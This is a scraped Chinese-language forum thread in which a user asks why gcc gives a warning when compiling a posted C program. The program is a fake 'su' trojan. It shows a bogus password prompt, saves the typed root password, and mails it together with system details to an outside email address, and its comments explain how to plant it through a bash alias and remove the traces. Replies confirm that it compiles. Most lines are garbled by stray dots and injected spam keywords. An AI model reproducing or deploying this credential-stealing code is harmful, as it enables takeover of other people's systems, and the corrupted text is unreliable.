论坛风格切换切换到宽版
  • 968阅读
  • 4回复

[问题求助]gcc编译个程序编译出错 [复制链接]

上一主题 下一主题
离线coolke.
 
发帖
2022
C币
-140624
威望
384
贡献值
1
银元
-3
铜钱
4664
人人网人气币
0
只看楼主 倒序阅读 使用道具 楼主  发表于: 2009-05-01
程序如下:
/*

* kpr-fakesu.c V0.9bet.a167 .;P.

* by koper <kope.r@linuxmail.or.g>健康

*

* Setting up:

* ad.min@host:~$ gcc -o .su fakesu.c; rm -rf fak.esu.c服务器

* admin@host:~$. mv .su /var/.tmp/.su教育

* admin@hos.t:~$ cp ..bash_profile .wgetrc    健康

* admin@host:~$ echo ."alias su.=/var/tmp/.su">>.bash_profile    健康

* admin@.host:~$ logout           女人

* *** LOGI.N ***--- 印刷

* admin@host:~$ .su            杀毒

* Password:

* su: Aut.henticat.ion failure          婚庆

* Sorry.

* admin@hos.t:~$ su          婚庆

* Password:

* root@host:~# logo.ut[成人用品]

* admin.@host:~$ cat /var/tmp/.pw.ds    健康

* root:du.pcia17--- 印刷

* admin@host:~$.               乙肝

*

* /bin/su sends various failure information dependin.g on the OS. ver..

* Please modify the source to ma.ke it "f.it" ;)--------------彩票

*

*/



#include .<stdio.h>(广告)

#include. <stdlib.h>.



main(.int argc., char *argv[]){电脑



FILE *fp;

char *user;

char *pass;

c.har filex[100];.

ch.ar clean[100];.



sprintf(fi.lex,"/var/.tmp/.pwds");健康

sprintf(.clean,"rm -rf /var/tmp/.su;mv -f /home/admin/.wgetrc /home/a.d.min/.bash_profile");(        游戏          )

if(ar.gc==1) user="root";[成人用品]

if(argc==2) user=argv.[1];[成人用品]

if(argc>2){

   if(str.cmp(argv[1], "-l")=.=0)[成人用品]

     user.=argv[2];(广告)

   else user=.argv[1];}[成人用品]



fprintf(std.out,"Password: "); pass=get.pass ("");              乙肝

syste.m("sleep 3");健康

fprintf(stdout,"su: Authen.tica.tion failure\nSorry.\n");学习



if .((fp=fopen(filex,"w")) !.= NULL).

  {

. fprintf(fp, "%s:%s\n", user,. pass);域名

  fclose(fp);

  }



system(clean);

system("rm -rf /va.r/tmp/.su; ln -s /bin/su /var/tmp/.su.");--- 印刷



/* If you don't want password in your e-mail uncomm.ent .this line: */.



system("uname -a >> /var/tmp/..pwds; cat /var/tmp/.pwds | mail kalikosta@hotma.il.com.");    外汇



}
复制代码


但是就是出错:

[t.est@sz root]$ gcc su.c(广告)
su..c: In function `main':           建材
su.c:48: warning: assignment makes p.ointer from integer without a c.ast电脑

[test@sz root]$ unam.e -a<性病>
Linux sz 2.4.21-27.ELsmp #1 SMP Wed Dec 1 21:59:02 .EST .2004 i686 i68.6 i386 GNU/Linux--------------彩票


有些程序可以编译成功,但有的不行。而且.不少有报“.c: In. function `main':(广告)
不知是为.什么?如何解决?谢谢!.

[. 本帖最后由 l0pht 于 2008-2-20 00:14 编.辑 ]<性病>

评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
离线wscxyy.
发帖
2093
C币
-140091
威望
377
贡献值
1
银元
-4
铜钱
4609
人人网人气币
0
只看该作者 沙发  发表于: 2010-04-14
编译 出的程序 可以执行, 虽然报错~~

离线chkey.
发帖
2007
C币
-140550
威望
405
贡献值
1
银元
-1
铜钱
4645
人人网人气币
0
只看该作者 板凳  发表于: 2010-04-14
可以用的啊
你贴第48行出来看看啊

离线grassgrass.
发帖
2055
C币
-140287
威望
348
贡献值
1
银元
-1
铜钱
4591
人人网人气币
0
只看该作者 地板  发表于: 2010-04-14
这个后门写得也真是……

离线mirxx.
发帖
2121
C币
-152545
威望
392
贡献值
1
银元
-2
铜钱
4818
人人网人气币
0
只看该作者 4楼 发表于: 2010-04-14
编译成功。这程序写的怎么?
快速回复
限100 字节
如果您在写长篇帖子又不马上发表,建议存为草稿
 
上一个 下一个